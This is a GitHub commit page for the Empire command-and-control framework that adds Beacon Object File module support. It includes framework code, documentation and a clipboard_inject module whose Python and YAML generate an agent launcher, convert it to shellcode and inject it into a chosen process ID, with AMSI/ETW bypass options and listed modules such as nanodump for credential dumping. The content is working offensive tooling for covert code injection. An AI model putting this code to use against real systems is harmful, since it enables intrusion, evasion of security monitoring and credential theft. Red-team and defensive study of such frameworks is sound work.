Skip to content

Commit

Permalink
Added BOF yamls for modules (BC-SECURITY#757)
Browse files Browse the repository at this point in the history
* Added initial implementation of c# bof yamls

* updated bof yamls to take in formatting types

* added clipboard and secinject

* added nanodump

* added tgtdelegation

* fixed formatting

* update folders and changelog

* added pytest

* fixed pytest

* fixed seatbelt

* Update empire/server/modules/bof/secinject.py

Co-authored-by: Vincent Rose <[email protected]>

* trying to figure this out

* Update empire/server/modules/bof/nanodump.py

Co-authored-by: Vincent Rose <[email protected]>

* Update empire/server/core/module_service.py

Co-authored-by: Vincent Rose <[email protected]>

* Update empire/server/core/module_service.py

Co-authored-by: Vincent Rose <[email protected]>

* fixed dashes

* fixed vinnybod comments and nanodump.yaml

* fixed formatting

* fixed formatting

* simplified redundant functions

* formatting

* Update empire/server/core/module_service.py

Co-authored-by: Vincent Rose <[email protected]>

* Update empire/server/core/module_models.py

Co-authored-by: Vincent Rose <[email protected]>

* Update empire/server/modules/bof/tgtdelegation.py

Co-authored-by: Vincent Rose <[email protected]>

* sim108 fixes

* fixed nanodump and removed pytest

* second round of SA modules

* added 2nd round of bofs

* fixed errors

* formatting

* updated changelog

* added docs for bof-modules

* Update docs/module-development/bof-modules.md

Co-authored-by: Vincent Rose <[email protected]>

* made fixes

---------

Co-authored-by: Vincent Rose <[email protected]>
  • Loading branch information
Cx01N and vinnybod authored Jan 7, 2024
1 parent 29fef59 commit 5a4de08
Show file tree
Hide file tree
Showing 167 changed files with 2,204 additions and 1 deletion.
6 changes: 6 additions & 0 deletions CHANGELOG.md
Original file line number Diff line number Diff line change
Expand Up @@ -21,6 +21,12 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0
- Added execution exception to plugins (@Vinnybod)
- Added RUF rules to ruff config (@Vinnybod)
- Added SIM rules to ruff config (@Vinnybod)
- Added BOF modules to Empire as yamls (@Cx01N)
- Added ClipBoardWindow-Inject module
- Added nanodump module
- Added secinject module
- Added tgtdelegation module
- Added TrustedSec's SA modules

### Deprecated

Expand Down
1 change: 1 addition & 0 deletions docs/SUMMARY.md
Original file line number Diff line number Diff line change
Expand Up @@ -39,6 +39,7 @@
* [PowerShell Modules](module-development/powershell-modules.md)
* [Python Modules](module-development/python-modules.md)
* [C# Modules](module-development/c-modules.md)
* [BOF Modules](module-development/bof-modules.md)
* [Agents](agents/README.md)
* [Python](agents/python/README.md)
* [Main Agent Class](agents/python/mainagentclass.md)
Expand Down
40 changes: 40 additions & 0 deletions docs/module-development/bof-modules.md
Original file line number Diff line number Diff line change
@@ -0,0 +1,40 @@
# BOF Modules

BOF modules are mostly configured the same as powershell modules.

Where it varies:
* The `script`, `script_path`, and `script_end` fields are not used
* `bof.x86` and `box.x64` refer to the path to the beacon object file for each architecture
* `bof.entry_point` is an optional field for defining the object file entry point
* An `Architecture` field is required


In addition, options add the `format` which breaks them into the following categeories:
```
-i:123 A 32 bit integer (e.g. 123 passed to object file)
-s:12 A 16 bit integer (e.g. 12 passed to object file)
-z:hello An ASCII string (e.g. hello passed to object file)
-Z:hello A string that's converted to wchar (e.g. (wchar_t)hello passed to object file)
-b:aGVsbG8= A base64 encoded binary blob (decoded binary passed to object file)
```

The yaml would use the following format:
```yaml
options:
- name: Architecture
description: Architecture of the beacon_funcs.o to generate with (x64 or x86).
required: true
value: x64
strict: true
suggested_values:
- x64
- x86
- name: Filepath
description: Filepath to search for permissions.
required: true
value: 'C:\\windows\\system32\\cmd.exe'
format: Z
value: 'alex'
```
BOF modules also support the `advanced.custom_generate` method of generating the script.
10 changes: 10 additions & 0 deletions empire/server/core/module_models.py
Original file line number Diff line number Diff line change
Expand Up @@ -8,6 +8,8 @@ class LanguageEnum(str, Enum):
python = "python"
powershell = "powershell"
csharp = "csharp"
ironpython = "ironpython"
bof = "bof"


class EmpireModuleAdvanced(BaseModel):
Expand All @@ -26,6 +28,7 @@ class EmpireModuleOption(BaseModel):
suggested_values: list[str] = []
strict: bool = False
type: str | None = None
format: str | None = None

# Ensure the functionality of pydantic v1 coercing values to strings
# https://github.com/pydantic/pydantic/issues/5606
Expand All @@ -47,6 +50,12 @@ class EmpireModuleAuthor(BaseModel):
link: str


class BofModuleOption(BaseModel):
x86: str | None = None
x64: str | None = None
entry_point: str | None = None


class EmpireModule(BaseModel):
id: str
name: str
Expand All @@ -65,6 +74,7 @@ class EmpireModule(BaseModel):
options: list[EmpireModuleOption] = []
script: str | None = None
script_path: str | None = None
bof: BofModuleOption | None = None
script_end: str = " {{ PARAMS }}"
enabled: bool = True
advanced: EmpireModuleAdvanced = EmpireModuleAdvanced()
Expand Down
99 changes: 98 additions & 1 deletion empire/server/core/module_service.py
Original file line number Diff line number Diff line change
@@ -1,3 +1,4 @@
import base64
import fnmatch
import importlib.util
import logging
Expand Down Expand Up @@ -157,7 +158,8 @@ def execute_module(
task_command = "TASK_CMD_JOB_SAVE"
else:
task_command = "TASK_CMD_JOB"

elif module.language == LanguageEnum.bof:
task_command = "TASK_CSHARP"
else:
# if this module is run in the foreground
extension = module.output_extension
Expand Down Expand Up @@ -206,6 +208,65 @@ def execute_module(

return {"command": task_command, "data": module_data}, None

def generate_bof_data(
self,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
) -> tuple[str, str]:
bof_module = self.modules["csharp_inject_bof_inject_bof"]

compiler = self.main_menu.pluginsv2.get_by_id("csharpserver")
if not compiler.status == "ON":
raise ModuleValidationException("csharpserver plugin not running")

compiler_dict: dict = yaml.safe_load(bof_module.compiler_yaml)
del compiler_dict[0]["Empire"]

if params["Architecture"] == "x64":
script_path = empire_config.directories.module_source / module.bof.x64
bof_data = script_path.read_bytes()
b64_bof_data = base64.b64encode(bof_data).decode("utf-8")

elif params["Architecture"] == "x86":
compiler_dict[0]["ReferenceSourceLibraries"][0]["EmbeddedResources"][0][
"Name"
] = "RunOF.beacon_funcs.x64.o"
compiler_dict[0]["ReferenceSourceLibraries"][0]["EmbeddedResources"][0][
"Location"
] = "RunOF.beacon_funcs.x64.o"
compiler_dict[0]["ReferenceSourceLibraries"][0][
"Location"
] = "RunOF\\RunOF32\\"

script_path = empire_config.directories.module_source / module.bof.x86
bof_data = script_path.read_bytes()
b64_bof_data = base64.b64encode(bof_data).decode("utf-8")

compiler_yaml: str = yaml.dump(compiler_dict, sort_keys=False)

file_name = compiler.do_send_message(
compiler_yaml, bof_module.name, confuse=obfuscate
)
if file_name == "failed":
raise ModuleExecutionException("module compile failed")

script_file = (
self.main_menu.installPath
+ "/csharp/Covenant/Data/Tasks/CSharp/Compiled/"
+ "net40"
+ "/"
+ file_name
+ ".compiled"
)

script_end = f",-a:{b64_bof_data}"

if module.bof.entry_point != "":
script_end += f" -e:{params['EntryPoint']}"

return script_file, script_end

def _validate_module_params(
self,
db: Session,
Expand Down Expand Up @@ -294,6 +355,33 @@ def _generate_script(
return self._generate_script_python(module, params, obfuscation_config)
elif module.language == LanguageEnum.csharp:
return self._generate_script_csharp(module, params, obfuscation_config)
elif module.language == LanguageEnum.bof:
if not obfuscation_config:
obfuscation_config = self.obfuscation_service.get_obfuscation_config(
db, LanguageEnum.csharp
)
return self._generate_script_bof(module, params, obfuscation_config)

def _generate_script_bof(
self,
module: EmpireModule,
params: dict,
obfuscation_config: models.ObfuscationConfig,
) -> str:
script_file, script_end = self.generate_bof_data(
module=module, params=params, obfuscate=obfuscation_config.enabled
)

for key, value in params.items():
if key in ["Agent", "Architecture"]:
continue
for option in module.options:
if option.name == key:
if value == "":
value = " "
script_end += f" -{option.format}:{value}"

return f"{script_file}|{script_end}"

def _generate_script_python(
self,
Expand Down Expand Up @@ -530,6 +618,15 @@ def _load_module(self, db: Session, yaml_module, root_path, file_path: str):
)
elif my_model.script:
pass
elif my_model.language == LanguageEnum.bof:
if not (
empire_config.directories.module_source / my_model.bof.x86
).exists():
raise Exception(f"x86 bof file provided does not exist: {module_name}")
if not (
empire_config.directories.module_source / my_model.bof.x64
).exists():
raise Exception(f"x64 bof file provided does not exist: {module_name}")
else:
raise Exception(
"Must provide a valid script, script_path, or custom generate function"
Expand Down
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
50 changes: 50 additions & 0 deletions empire/server/modules/bof/clipboard_inject.py
Original file line number Diff line number Diff line change
@@ -0,0 +1,50 @@
import base64

from empire.server.common.empire import MainMenu
from empire.server.core.module_models import EmpireModule


class Module:
@staticmethod
def generate(
main_menu: MainMenu,
module: EmpireModule,
params: dict,
obfuscate: bool = False,
obfuscation_command: str = "",
):
params["Architecture"] = "x64"
script_file, script_end = main_menu.modulesv2.generate_bof_data(
module=module, params=params, obfuscate=obfuscate
)

# staging options
listener_name = params["Listener"]
pid = params["pid"]
user_agent = params["UserAgent"]
proxy = params["Proxy"]
proxy_creds = params["ProxyCreds"]
launcher_obfuscation_command = params["ObfuscateCommand"]
language = params["Language"]
launcher_obfuscation = params["Obfuscate"]

launcher = main_menu.stagers.generate_launcher(
listener_name,
language=language,
encode=False,
obfuscate=launcher_obfuscation,
obfuscation_command=launcher_obfuscation_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
)

script_end += f" -i:{pid}"

shellcode, err = main_menu.stagers.generate_powershell_shellcode(
launcher, arch="x64", dot_net_version="net40"
)
shellcode = base64.b64encode(shellcode).decode("utf-8")
script_end += f" -b:{shellcode}"

return f"{script_file}|{script_end}"
76 changes: 76 additions & 0 deletions empire/server/modules/bof/clipboard_inject.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
name: ClipboardWindow-Inject
authors:
- name: Anthony Rose
handle: '@Cx01N'
link: https://twitter.com/Cx01N_
description: Beacon Object File (BOF) that injects beacon shellcode into remote process, avoiding the usage of common
monitored APIs using the CLIPBRDWNDCLASS injection technique (similar to Propagate) learned from Hexacorn.
software: ''
tactics: []
techniques: []
background: false
output_extension:
needs_admin: false
opsec_safe: true
language: bof
min_language_version: ''
comments:
- https://github.com/BronzeTicket/ClipboardWindow-Inject
options:
- name: pid
description: Specify the process id.
required: true
value: ''
- name: Listener
description: Listener to use.
required: true
value: ''
- name: Language
description: Language of the stager to generate
required: true
value: powershell
strict: true
suggested_values:
- powershell
- csharp
- ironpython
- name: Obfuscate
description: Switch. Obfuscate the launcher powershell code, uses the ObfuscateCommand
for obfuscation types. For powershell only.
required: false
value: 'False'
strict: true
suggested_values:
- True
- False
- name: ObfuscateCommand
description: The Invoke-Obfuscation command to use. Only used if Obfuscate switch
is True. For powershell only.
required: false
value: Token\All\1
- name: Bypasses
description: Bypasses as a space separated list to be prepended to the launcher.
required: false
value: 'mattifestation etw'
- name: UserAgent
description: User-agent string to use for the staging request (default, none, or
other).
required: false
value: default
- name: Proxy
description: Proxy to use for request (default, none, or other).
required: false
value: default
- name: ProxyCreds
description: Proxy credentials ([domain\]username:password) to use for request (default,
none, or other).
required: false
value: default
bof:
x86: ''
x64: bof/ClipboardWindow/ClipboardWindow-Inject.x64.o
entry_point: ''
script_path: ''
script_end: ''
advanced:
custom_generate: true
Loading

0 comments on commit 5a4de08

Please sign in to comment.